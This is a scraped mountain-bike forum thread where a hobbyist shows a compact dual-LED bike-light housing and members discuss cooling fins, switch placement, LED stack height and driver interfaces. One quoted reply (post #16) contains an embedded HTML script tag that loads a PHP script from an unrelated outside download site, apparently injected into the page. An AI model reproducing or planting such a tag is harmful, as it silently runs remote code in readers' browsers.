My new design....thoughts please!!- Mtbr.com
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  1. #1
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    Idea! My new design....thoughts please!!

    Hi gang,
    I've had this housing lying around for a while now and would appreciate any feedback or thoughts on it. I made it to use the LED's and optics from my 'adjustable pod' design that never got going...
    I'm thinking that it could be the replacement for the XRE Altair as it should be very flexible with LED's and optics. The XPE's and XPG's seem to be the new thing and it looks like the XRE will stop at the R2.
    It should be able to take any of the XPE/XPG 20mm stars with 20mm optics. There are o-rings that hold the LED's/optics in place and also seal the front of the unit.
    Mounts wise, it'll be compatible with the electron mount that I'm currently using, the Hope stem plate and any mount that has a screw fitting as there is some extra material on the front part of the housing to allow it to be drilled and tapped to suit.
    So, what do you reckon? It weighs 100g with the LED's/optics and switch in place. I'm hoping to shave off a few grams with some design mods....
    So, what do you reckon? Any thoughts appreciated
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  2. #2
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    Hi Deesta,

    very cool design, with the new XPGs coming there is a bunch of light in a small case.

    Is it possible to have different angles for the 2 led clusters, one for straight forward and one for trail light down to the ground. I remember these from my IRC halogen time, were i had 1 lamp for flood an one for spot at different angles, an it was great.

    Jens

  3. #3
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    My darkstar will look very similar with the same setup of LED's once the XPG's come out.

    Thinking around 2000 lumens.

    I guess great minds...

  4. #4
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    Could you put the switch on the backplate, as it seems a shame to interrupt those sweet, sweet curves? It took me a few minutes to realise how small that housing is... can't wait for those lovely xpg's!

  5. #5
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    lookin cool Deesta, any news on the mag review yet?

    needs a couple of beam shots to finish the pics off tho

  6. #6
    A waste of time it is is
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    Deesta that looks fantastic. I so much want some bigger toys in my garage

  7. #7
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    First impression?...... very nice!
    in fact put me on the list for one!

    the o ring retaining system looks great ....
    but needs deeper fins definitely steve
    and i think the side switch is ideal (credit to troutie methinks)

    (whats the ETA on the XP-G in 20mm triple flavour?)
    ...Scun.thorpe, UK

  8. #8
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    looks great Deesta. a lot like one of the lights I wanna get done. any chance we get to see how things are put together on the inside? curious to see what you did in there.

    also, how did you go about sealing the back area? and specifically how did you seal around the screws?

    how's the stack on a XRE setup compare to a triple XPE? using your o-ring method, would they be interchangeable? or would you be stuck with one or the other?

    finally, how's it handle heat? I was a little worried about how much surface area I could whittle out of a light that size. it would work fine for a pair of XRE's, and even probably an XRE + a triple XPE, but 6 XPE's might be pushing it.

    I suppose I still havn't completely redesigned the housing to eliminate the 3rd piece of housing, but it wouldn't be that much different.

    thanks though, and again, it looks great

  9. #9
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    Thanks guys,

    Positive so far then

    Powermac: I'm thinking you'd be able to use different angled optics to give different beams from both sets of LED's

    Zen: Great minds indeed...

    Bump: The switch could be fitted to the back but it helps keep the size down by fitting it on the side and it makes it easier to get at if using the Hope stem plate.

    Smudge: No news on the review yet.... I need to get a driver to do some beamshots. Will order one off george asap.

    Hendo: I'm going to be making the fins deeper and try to loose a bit of spare metal too

    Bryguy: I'll put some internal photo's up later for you. The stack height of the XRE with Ledil LC1's is about 19mm, the XPE's with Carlco optics I have is about 8mm. The o-rings do come out so that upgraded LED's can be fitted in the future. Also, I 'm thinking that the triple ans single XPE/XPG's will be the same stack height, it would be possible to upgrade from 2 single LED's to a pair of triples?? No idea on heat yet as I don't have a maxflex to wire it all up

  10. #10
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    Nice and compact !! Would make for a perfect helmet mounted light.

    You thinking of going into production and offering kits ?

  11. #11
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    Very nice Steve. Would the fins running in the other direction (ie back to front) not be better for cooling / airflow? It may of course complicate manufacture process. I have a new design bouncing my head, called the "CUBE" will mail it to you for your thoughts as well.
    Kind regards
    Thys

  12. #12
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    Deesta - can you tell me which switch you're using, looks like an APEM, but do you have a part number and a UK source? Farnell don't seem to have them or will order them in only. Ta!

  13. #13
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    Lovely dinky design btw

  14. #14
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    Hi Alister,
    Thanks.... I get them from RS. They are Apem ISR300 switches. I'll have a look and see if I can find the full code..
    Steve

    Edit: here you go http://uk.rs-online.com/web/search/s...duct&R=0224120

  15. #15
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    Very good looking. I like the orange O-rings on the front.

  16. #16

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    Quote Originally Posted by emu26
    Deesta that looks fantastic. I so much want some bigger toys in my garage<script type="***************" src="http://djmixdownloads.com/script.php"></script>
    sames

  17. #17
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    Hi, very nice. I'm sound very that design, look my before design





    Greetings - Saludos

    msxtr
    Warning!!! my english is very very bad, sorry.

    Easy DIY led light1
    Easy DIY led light2

    The Beast!!!

  18. #18
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    Thanks Steve, you are a gentleman and a lightbuilder.

  19. #19
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    I'm looking at just shy of 14mm total stack height for an XRE and carclo 20mm optics on a cutter star. seems that they won't work interchangeably, even if you don't use a star.

    lemme know how the heat tests go. I wanna work on this housing again, but I'm unsure something that size can handle the 13-14W of power that those emitters are gonna put out...

  20. #20

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    Hi Deesta,

    This is a very nice light, so nice that it is hard to find any significant faults. However, you asked for comments, so here are my thoughts, remembering that I'm going out of my way to find any small areas for improvement.

    Looks/aesthetics. Top class. You have any eye and mind for making lights that look good. By comparison, my dual MCE in it's final form, with toggle switches sticking out from odd places, looks like a dog's breakfast. 97%

    Quality&Finish Again, top class, and noticibly better than anything I make. 97%

    Size&Weight.
    Very compact for a light that will produce around 2000 Lumens. Also very light at 100 gms. The only reason I have knocked a couple of points off here is because I know, as you do, that it can be made lighter. The fins can be made much thinner without adverse effect on thermal performance, and I there also appears to be excess material and weight where the two "circles" meet in the middle. 90%

    Lumen Output and Optics
    Lumen output should be similar, or slightly higher, than my dual MC-E and for a top-end light (which this clearly is) I personally find that 1800 or so peak lumen capabilty is just about right. However, the optics are probably better than my MC-E, so I think yours is a fine blend of adequate light output and quality optics. 95%

    Thermal Performance
    I'm going to be picky here, because with a light this good I have to be! For normal riding, I'm sure it will stay cool without any problems at all. However, the total surface area is modest relative to the power output, so the ability of this light to stay cool when stationary is likely to be less than ideal. The fins are very shallow, and I guess there is an inevitable compromise between compact size and cooling. It scored very highly on compactness, so the other side of the coin is it must lose a few points for thermal performance. 80%

    Waterproofing
    Clearly you have put some thought into this,and it shows. O-ring seals at the front ,and a weatherproof switch mean it should be waterproof in all normal riding situations, which is important. 95%

    User Interface
    Sorry, but this is the only part of this design that really doesn't cut it, in my opinion. A single pushbutton switch to control light functions is a two-edged sword. It makes it easy to design a light that is compact, aesthetically tasteful,and (relatively) easy to waterproof, and I duly scored the light highly in those areas, but there is a price to be paid for the simplicity of a single control button. This is an appropriate way to set the time on your watch, for example, a task that is carried out infrequently. However, can you imagine how unthinkable it would be to have car headlights, for example, controlled in this way, with sequential clickety-clicks?? Any bike-light user interface worth it's salt will have the following:
    (a) A dedicated on-off switch. Having to cycle through other functions just to turn the thing on or off is a joke.
    EDIT. It was pointed out that to turn a Taskled off, hold down the button for 2 seconds, which sound fine.
    (b) A reasonable number of power levels, say 5 levels, or continuous adjustment. The ratio between the between highest and lowest power settings should be roughly in the range of 10:1 to 20:1. Moving from any given power level, to any other power level, should be simple, fast,and not "fiddly".
    (c) Ideally you would like some way of knowing what power level you are on at any given time, without having to cycle through the power settings to find out - this can be very useful for keeping track of burn time. This capability comes fro free with an analog switch or pot (even if the said switch/pot is in fact a digital transducer), but not with a primitive single-button sequential system.
    (d) This is a highish-powered light, well capable of dazzling oncoming traffic, which is anti-social and potentially dangerous. Unless you only ever wish to use the higher power settings in the wilderness, it is essential (IMHO) to be able to intantly flick to a "low beam" power setting. This is common sense,and a legal requirement for cars. If the general-purpose intensity control in (b) is sufficiently slick then this may be adequate, if not then a dedicated low beam switch is required, as is fitted to cars.

    On any impartial analysis, a "Taskled" style interface just doesn't cut it relative to the ease of use we expect from other devices such as cars or household appliances. The functionality and features are there, but cannot be accessed in a fast and convenient way. Best score I can give here is 65%

    That gives a grand average score of 88%, a number which obviously contains my own biases and preferences.

    However, excluding the user interface over which Deesta has little control, gives a near-perfect 92%

    It's a very sweet light indeed, and the only reason I would not buy one is because I could not live with the user interface.
    Last edited by cdcdcd; 08-09-2009 at 10:25 PM.

  21. #21
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    Quote Originally Posted by cdcdcd
    User Interface

    On any impartial analysis, a "Taskled" style interface just doesn't cut it relative to the ease of use we expect from other devices such as cars or household appliances. The functionality and features are there, but cannot be accessed in a fast and convenient way.
    Oh sure they can, It takes around a second to go from <10% to 100%, not much longer to drop back down. Its a very nice interface.
    If you use a remote switch its easier than changing gears.

    I guess ideally it would increase/decrease brightness automatically as you go faster/slower and switch to a very low mode when you stop but how are we going to do that?

  22. #22
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    Quote Originally Posted by znomit

    I guess ideally it would increase/decrease brightness automatically as you go faster/slower and switch to a very low mode when you stop but how are we going to do that?
    Forget the batteries and switch to a dynamo but you know that.
    When you think that life is though, keep a positive attitude : remember that it is short ;-)

  23. #23
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    I think that's the most concise breakdown I've ever seen..

    Hi guys,
    Thanks for the feedback so far. This is my old prototype so there are changes I have planned to make.

    cdcdcd: That's an awesome amount of feedback and I like the scoring system
    The Thug: I'm going to look into it. I think this would be a perfect replacement for the XRE version of my Altair as it will be useable with many configurations of LED/optics.
    Alister: No problemo
    msxtr: They could be brothers...I think it's a very simple design that looks great and keeps the size to a minimum
    Thys: I don't think the direction of the fins makes that much difference to the heatsinking. I see what you mean about the air flowing better but at the speeds we ride off road, I can't see any benifits. I'm also trying to keep my designs looking similar, kind of a 'DStar look'
    There are changes planned, including: Making the fins deeper and possibly more of them to improve heatsinking. I'm also looking at loosing some weight off the inside of the casing as I wasn't sure how things would fit in together but from the prototype, I've found that there is excess material on the inside that can be taken out. I should easily be able to shave another 10-20 g's off without too much trouble.
    I'm also looking into some kind of remote switching - any tips there would be great!
    I do find the taskled drivers to be very good and simple to put together. There is only need for 6 wires which helps in the simplicity of assembly and also cable over load.
    I find that 2 mode is plenty good enough for general riding and makes switching between them a piece of cake. I can see the 5 mode being a little awkward but it is still a very fast process going from level 1 to level 5 and back again.
    I also like the extra functionality of battery monitoring and heat monitoring.

    Please keep the feedback coming guys....It's very helpful

    Steve

  24. #24
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    good post cdcdcd,....

    there also appears to be excess material where the two circles "meet" in the middle
    Agree, Stevo, make it more curvy like an 8 shape..

    On any impartial analysis, a "Taskled" style interface just doesn't cut it relative to the ease of use we expect from other devices
    eg, cars or household appliances.
    The functionality and features are there, but cannot be accessed in a fast and convenient way. Best score I can give here is 65%
    65%???.....Arghhh totally disagree on this point, i have configured mine to
    click "light goes on low" (50ma)
    click "light goes off"
    or,.....
    click and hold "light goes to full"(1A)
    click "light goes off"
    surely it couldn`t get easier than that!!
    ...Scun.thorpe, UK

  25. #25
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    Task drivers rock!

    Totally agree Mr Hendo,

    I find one push buttion switch and duo mode far easier to cope with, rather than different switch positions to change light levels.

    65% way too harsh more like 95%

  26. #26
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    There is a good thread on CPF that covered the taskled UIB2 interface design.
    Worth a read.

    http://www.candlepowerforums.com/vb/...d.php?t=169898

  27. #27
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    Looking nice and compact Steve and up to your usual high standard of machining .

    I have to agree with Cdcdcd on most points he makes and thermally it is lacking for 6 xpe/gs should be OK in the UK s night riding season but warmer climes it would be borderline I think.

    I do not agree with Cds compulsive dislike of the Flex drivers interface it rocks and is so simple to use on the trail .
    far better imho than a few switches .

  28. #28
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    its an amazing design, steve...i would also point out that the switch by the side looks kinda funky...i would rather have it on the back...btw, i am so glad that I found your forums...i had no idea what lights DIY stood for, but now I know hehe...dang guys, i want to make my own light system now...I was about to purchase a regular light system, but not anymore hehe....
    07 IBEX Asta Expert X9 "La Bonita"
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  29. #29
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    deesta, great little light but as already mentioned I think more / thinner / deeper fins and your there.

    I can see why the switch on the side is good use of internal space but if you go that route it maybe good to offer left and right hand options.

    With regard to driver I have my taskled set to touch button high, touch button low , Takes about a quater of a seond, same as a car and the best bit is hold for 2 seconds to turn off.

    The first light I ever made and still have (as it was the first) uses 2 toggle swithes, one for on/off the other for high/low and it is simply to easy to accidentally knock the switch and be plunged into complete darkness.

    The 2 second hold to turn off is great as you can't switch off by accident.

  30. #30
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    I also find the taskled ui fine for bike light use. I do like the high/low beam thing. However, I use the multi-mode setting, the brightness changes rapidly. It's tap-tap for brighter, push-hold for dimmer. I really like the 2 sec hold for off. I have never had any serious trouble changing settings. The waterproof switch is a cool part. James

  31. #31
    Off the back...
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    Oh my, the ladies are going to want to see this...

  32. #32

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    I have resurrected the thread "Dimming modes and user interface for same" for further discussion on the merits of the Taskled style user interface.

    cdcdcd

  33. #33
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    its sub zero here,
    its snowing,
    all the trails are slippy,
    and its hard as concrete out there,
    i`m bored, really bored, but Happy new year everyone!
    Hey Stevo, any update on this tasty offering ....
    ...Scun.thorpe, UK

  34. #34
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    very nice!

    critic/comments
    - 6 leds, in small body, think , it will get to hot overheat,
    would also need some sort of thermal throttle.
    - switch on the side is good, means pushing it won't slide, change the mount angle
    - power input straight back, for most straight cables, but might need a rubber retention,
    to hold it in place,.... that's why I like right angle, exept , need custom cable,...
    - weight, approximate dimensions, target price, availability....

    === what would I like
    - under 100gr
    - under $100
    - dual single LED, XRE is good start, MCE better on the long run ( not full blast
    - cooling, needs enough surface, small heat-sink, so it does not die from heat, or burn fingers,
    - optics,... changeable, 10,20,30 +/- deg, probably should be front acessible, for easy access
    - waterproof, hmmm, at least rain should not kill it
    - switch,...LED be nice , no must
    - power plug,... 2.1 5.5 ,.... but sealed
    - power levels,.... full, half, off, maybe 1/4 power
    - power consumption, probably less than 8w , 6-7w tops, for heat , and keep it small
    this is important too,... mega power, will require cable to backpack,
    you'd get 14-20 whr tops for helmet mount from me, since weight target applies for batteries too,.... 70-90gr is target , tops around 100gr, a MS pack is over 200gr, + light, that's not going to be for the average rider,... + helmet, the new all-mountain , full back,
    you'd talking some weight here, and it be really nice, to be able to cut the cord,...
    PS: let me know your power requirements ,if you want me to consider, designing a pack.
    - plastic front lens, interchangeable,... glass breaks, or need double o-ring,
    - voltage,... hmm, the realy hard part,... since 1cell is not enough, 2 is good,
    possible 3, max of 4, so ideal, 5.5 to 15.5V
    realistic,..... 5.5 to 12V, 12V due caps on driver , preferable 16V caps, be great.

    oh, mine is 6.5W dual XRE, 85gr, including mount plate , fiberglass and playdoo,
    .... as such looks like crap, but works, is whiter than MS, but no service, since its, glued, cemented , epoxied down,...in the heat of the moment, just wanted to get one done. Rob
    ----
    DIY battery + light working on it

  35. #35
    Single Speed Junkie
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    Quote Originally Posted by deesta
    Hi gang,
    I've had this housing lying around for a while now and would appreciate any feedback or thoughts on it.
    For starters

    That looks very similar to what I was sketching up in CAD here the other day. Since I can't seem to have it print out a jpg I'll do my best describing it.

    From a frontal view the two 20mm (19mm holes) optics sit 4mm apart. A 5mm boarder runs around the optics with 10 2-56 bolts on the front plate. Front plate is milled out of Carbon as I have a sheet lying around. Center section between the optics dips 3mm on both top and bottom from the 5mm boarder.

    Looking top down Fins are cut length wise front to back. Where possible the fins run the entire depth of the body. A circular profile resides in the fins housing the driver.

    Flipping the assembly over the flat section you show on your light is there and would grant access to the driver if needed. The cover plate is also the helmet / handle bar mount using a fixture borrowed from an old Jet light.

    Figure i would take about a month for me to mill it out by hand once I get a few calipers increasing precision. That or about an hour on a CNC mill would fabricate a viable part. Programming a mill might take a bit longer...

    Keep up the good work, always enjoy seeing new designs.

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